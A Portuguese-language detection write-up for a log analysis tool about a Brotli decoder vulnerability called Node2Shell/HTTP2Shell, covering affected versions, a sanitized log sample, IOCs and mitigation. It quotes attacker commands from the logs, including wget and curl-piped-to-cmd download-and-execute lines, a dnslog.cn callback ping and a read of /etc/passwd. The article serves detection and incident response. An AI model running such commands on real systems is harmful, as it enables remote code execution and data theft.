A detecção de Node2Shell/HTTP2Shell é mais difícil do que parece, porque a vulnerabilidade não está confinada a um único produto. Node2Shell, também chamado de HTTP2Shell, é CVE-2026-111497: uma escrita fora dos limites no decodificador Brotli C do Google, versões 1.0.3 a 1.2.0, avaliada com CVSS 4.0 9.2. Como a falha reside em uma biblioteca de compressão compartilhada, ela atinge Node.js, pacotes Python Brotli, Bun, curl, Envoy e outros softwares que decodificam Brotli.
Este artigo aborda a detecção de Node2Shell/HTTP2Shell usando um exemplo de log analisado no LogTotal, uma ferramenta de análise de logs que associa eventos a ameaças conhecidas. Abaixo, abordamos o contexto da vulnerabilidade, a fonte do log, o que o LogTotal reportou e como responder.
Análise de Node2Shell (HTTP2Shell)
O código vulnerável está nas versões 1.0.3 a 1.2.0 do decodificador Brotli C. O Google, como autoridade de numeração, avaliou-o com 9.2 sob o CVSS 4.0, enquanto o Node.js o classifica como Alto. Para ler corretamente o exemplo de log, é útil saber como o bug é acionado, como a divulgação se deu e quais versões de software e configurações estão expostas.
Detalhes da vulnerabilidade para Node2Shell
Um fluxo Brotli que declarou um único tipo de bloco e depois alterou o bloco não foi rejeitado, então a decodificação continuou em um estado inválido e escreveu além de um buffer. Qualquer processo que descompacte dados Brotli controlados por atacantes pode ser atingido, em duas direções:
- Entrada: um corpo de solicitação HTTP comprimido em Brotli enviado a um servidor que o decodifica.
- Saída: uma resposta preparada retornada a um cliente que a busca.
O bug possui vários nomes. Node2Shell surgiu primeiro porque o Node.js o divulgou e corrigiu primeiro. HTTP2Shell reflete que ele atinge qualquer pilha que decodifica Brotli via HTTP, e algumas coberturas também usam Python2Shell e Broccoli2Shell.
Linha do tempo de divulgação e exploração
| Data (2026) | Evento |
| 27 de outubro | CISA adicionou o CVE ao seu catálogo KEV; agências federais dos EUA devem corrigir até 10 de novembro |
| 26 de outubro | Exploração neste exemplo registrada em app-node-01 |
| 25 de outubro | Microsoft lançou correções fora de banda para .NET |
| 22 de outubro | CVE publicado; execução de código mostrada publicamente no Node.js 24.22.0; Bun 1.4.4 lançado |
| 21 de outubro | Divulgação do Node.js e versões corrigidas; Brotli 1.0.10, 1.1.1 e 1.2.1 lançados |
| 27 de fevereiro | Correção registrada no google/brotli sem lançamento ou aviso |
O próprio bug foi enviado no Brotli 1.0.3 em março de 2018. Khai Tran e Sylvie Mayer da OpenAI Codex Security relataram-no ao Node.js. Um conceito de prova público existe, a Imperva e a ELLIO reproduziram ambas a execução de código contra versões oficiais do Node.js, e scanners que mapeiam quais hosts descompactam Brotli já estão em uso. A execução de código não foi mostrada para os pacotes Python, embora eles travem com a entrada maliciosa, como mostra a falha em web-prod-01 neste exemplo.
Versões afetadas por Node2Shell e correções
| Componente | Corrigido em |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x e outras linhas sem suporte | Sem correção; mova para uma linha suportada |
| Bun | 1.4.4 |
| Biblioteca Brotli do Google | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Uma versão vulnerável só é exposta se os dados do atacante conseguirem alcançar o decodificador. No Node.js, esse caminho existe através do Express 5, body-parser 2.x, dos analisadores de corpo Koa, @fastify/compress com descompressão de solicitações, fetch() e chamadas diretas para node:zlib Brotli. No Python, requests, httpx, aiohttp e Scrapy usam o pacote brotli ou brotlicffi sempre que está instalado. No .NET, a descompressão Brotli está desativada por padrão, e Envoy e Istio estão expostos somente com o descompressor Brotli ativado. curl decodifica Brotli somente com –compressed, através do sistema libbrotli, então ele precisa de um pacote de distribuição corrigido; Debian e Red Hat já enviaram versões corrigidas.
Fonte e coleção de logs
| Atributo | Valor |
| Arquivo | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Eventos | 11 |
| Janela de tempo | 26 de outubro de 2026, 11:30:55 a 11:33:05 UTC |
| Esquema | Estilo ECS |
| Fontes | 4 mensagens de texto simples do kernel Linux e systemd-coredump; 7 eventos de criação de processo do Microsoft Defender para Endpoint |
Hosts na amostra
Três hosts aparecem nos dados brutos, em dois sistemas operacionais. Cada um mostra uma parte diferente da exposição de Node2Shell.
| Host | OS | Runtime | Atividade nos logs |
| app-node-01 | Linux | Aplicação Node.js /opt/app/server.js | Falha no Brotli, seguido de comandos pós-exploração |
| web-prod-01 | Linux | Processo Python | Falha em _brotli.cpython-311 |
| win-dev-01 | Windows | Aplicação Node.js C:Usersdevuserappserver.js | Download-e-execução, PowerShell oculto |
Detectar Node2Shell (HTTP2Shell)
O LogTotal processou 11 linhas em 5,3 segundos e correspondia a 23 regras contra 10 linhas. Formou 2 cadeias, reportou 1 e filtrou 1 na etapa de verificação pela IA.
| Campo de veredicto | Resultado |
| Veredicto | Suspicious, precisa de investigação |
| Severidade | Alta |
| Confiança | Média |
A cadeia reportada é Node2Shell / HTTP2Shell é uma vulnerabilidade crítica (CVE-2026-111497): Alta, 100% de correspondência, 2 regras disparadas. Está em um host pseudonimizado entre 11:30 e 11:31 UTC, e essa janela e evidência correspondem ao app-node-01.
Exploitation: a falha do decodificador Brotli
A regra “Tentativa de Exploração de CVE-2026-111497 (HTTP2Shell / Node2Shell) – Falha Nativa do Decodificador Brotli” correspondeu ao node falhando em libbrotlidec.so.1.1.0. O stack do core dump é encabeçado por BrotliDecoderDecompressStream.
O relatório mapeia essa falha para negação de serviço (T1499.004), que é de onde vem a etapa de Impacto. O último acerto da regra, às 11:33, cai na falha do python3 em _brotli.cpython-311 em web-prod-01, que mostra a mesma biblioteca falhando em um segundo runtime.
Pós-exploração no Linux
“Processos Filho NodeJS Suspeitos [Linux]” dispararam 4 vezes enquanto o node /opt/app/server.js gerou:
- curl buscando o script de configuração do minerador C3Pool XMRig público
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, uma verificação de callback fora de banda
- cat /etc/passwd
Pós-exploração no Windows, fora da cadeia
A metade do Windows da amostra fica fora da cadeia reportada, mas merece a mesma atenção. No win-dev-01, node.exe gerou cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, um padrão de download-e-execução, e depois um powershell.exe oculto rodando whoami.
As regras que dispararam nessa atividade incluem Processos Filho NodeJS Suspeitos [Windows], Ler Conteúdos do Stdin Via Cmd.EXE, e Cmdlets Powershell Suspeitos. A cadeia filtrada, Meet AvisLoader: Um Loader do Windows Construído para Resistir a uma Queda (Alta), foi conduzida pelas execuções de curl.
IOCs de Node2Shell desta amostra
| Indicador | Tipo | Contexto |
| 198.51.100.23 | IP | Host de carga útil para s.sh (porta 3000) e /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Script obtido por wget em app-node-01 |
| https://198.51.100.23/api/w | URL | Enviado para cmd no win-dev-01 |
| 5axzi7.dnslog.cn | Domínio | Callback fora de banda via ping |
| Script de configuração do minerador C3Pool XMRig | Download | Obtido pelo curl do node |
| libbrotlidec.so.1.1.0 com BrotliDecoderDecompressStream na pilha | Assinatura de falha | Tentativa de exploração do Node.js |
| _brotli.cpython-311 falha | Assinatura de falha | Tentativa de exploração do Python |
| node / node.exe gerando curl, wget, ping, cat, cmd.exe, powershell.exe | Linagem de processo | Pós-exploração |
Usando descobertas do LogTotal na triagem de Node2Shell
Comece pela cadeia reportada para confirmar a exploração em app-node-01, depois trabalhe através de cada descoberta fora da cadeia. Nesta amostra, as regras fora da cadeia e a cadeia filtrada apontam para mais dois hosts afetados, web-prod-01 e win-dev-01.
Mitigação de Node2Shell (HTTP2Shell)
Corrigir apenas o Node.js não fecha o Node2Shell, porque a falha reside no decodificador Brotli compartilhado. Cada runtime ou proxy que decodifica Brotli precisa de uma atualização, e cada host na amostra precisa estar no escopo.
Corrija cada consumidor de Brotli
- Encontre serviços no Node.js abaixo de 22.23.4, 24.22.1, ou 26.12.1, em uma linha sem suporte do Node.js, ou no Bun abaixo de 1.4.4, incluindo imagens base e hosts de construção.
- Corrija primeiro os serviços que descompactam corpos de solicitação (Express 5, body-parser 2.x, os analisadores de corpo Koa, @fastify/compress), buscam URLs fornecidos pelo usuário, ou passam dados não confiáveis para funções Brotli do node:zlib.
- Atualize o runtime, depois reinicie os processos e reconstrua imagens de contêiner, incluindo aplicativos .NET autossuficientes e binários construídos com bun build –compile.
- Atualize o PyPI brotli para 1.2.1 e brotlicffi para 1.2.1.0, e atualize o runtime .NET, Envoy, Istio e pacotes de distribuição brotli.
- Mude do Node.js 20 e outras linhas sem suporte, que não recebem correção.
- Até que as correções sejam enviadas, rejeite Content-Encoding: br no WAF ou proxy, correspondendo-o sem distinção de maiúsculas e minúsculas e dentro de listas como “gzip, br”. Isso não cobre respostas Brotli lidas por fetch().
Resposta recomendada do LogTotal
- Isole o host.
- Colete dados de processo, sistema e rede para 11:30–11:33 UTC.
- Verifique o nível de patch do Node.js: 22.23.4, 24.22.1, ou 26.12.1.
- Remova binários não autorizados.
- Rejeite Content-Encoding: br não confiável no WAF.
- Execute o Node.js sem privilégios.
- Desative a descompressão automática de Brotli onde possível.
Passos adicionais a partir da evidência bruta
- Amplie o escopo para win-dev-01 e web-prod-01, não apenas app-node-01.
- Bloqueie na saída 198.51.100.23 e *.dnslog.cn.
- Verifique se há um minerador: entradas de cron, unidades systemd, e um processo xmrig em execução.
- Presuma que /etc/passwd foi lido e revise as contas de acordo.
- Procure por node, node.exe, ou python3 gerando shells, downloaders, ou ferramentas de rede.
Monitoramento contínuo de Node2Shell
Encaminhe mensagens de kernel e systemd-coredump junto com eventos de processo EDR. Nesta amostra, a pilha do coredump foi a única evidência direta de exploração, e os eventos EDR carregaram tudo que se seguiu.
FAQ
O que é Node2Shell (HTTP2Shell) e como funciona?
Node2Shell, também chamado de HTTP2Shell, é CVE-2026-111497: uma escrita fora dos limites no decodificador Brotli C do Google, versões 1.0.3 a 1.2.0, avaliada com CVSS 4.0 9.2. Dados Brotli preparados podem falhar qualquer processo que os descompacte, e no Node.js mostrou-se permitir execução remota de código. A seção de análise acima explica como funciona.
Quando o Node2Shell foi descoberto pela primeira vez?
Khai Tran e Sylvie Mayer da OpenAI Codex Security encontraram o bug e o relataram ao Node.js. Ele remonta ao Brotli 1.0.3 em março de 2018. Uma correção foi registrada upstream em 27 de fevereiro de 2026 sem um lançamento, e o Node.js divulgou a falha em 21 de outubro de 2026.
Qual é o impacto do Node2Shell nos sistemas?
A falha em si é uma negação de serviço, e a atividade subsequente mostra execução de código no contexto do processo vulnerável. Neste exemplo, isso significou um download de script de configuração do minerador de criptomoedas, uma obtenção de carga útil, um callback DNS fora de banda, uma leitura de /etc/passwd, e download-e-execução em um host Windows.
Node2Shell ainda pode me afetar em 2026?
Sim. CVE-2026-111497 é explorada em campo e listada no catálogo KEV da CISA. Implantações desatualizadas do Node.js, Bun, Python, .NET e proxy permanecem expostas, e o Node.js 20 e outras linhas sem suporte nunca receberão uma correção.
Como posso me proteger do Node2Shell?
Corrija o Node.js e todos os outros consumidores de Brotli, reinicie processos e reconstrua imagens. Até lá, rejeite Content-Encoding: br no WAF ou proxy e desative a descompressão automática de Brotli onde for possível. A seção de mitigação lista os passos completos.
Como posso detectar o Node2Shell?
Colete logs de kernel e systemd-coredump além de eventos de processo EDR de todos os hosts Node.js e Python. Alerte sobre falhas do decodificador Brotli e em tempos de execução gerando shells ou downloaders. O LogTotal mapeia esses eventos para a cadeia de Node2Shell, mas revise também as descobertas fora da cadeia, já que elas revelaram dois hosts extra aqui.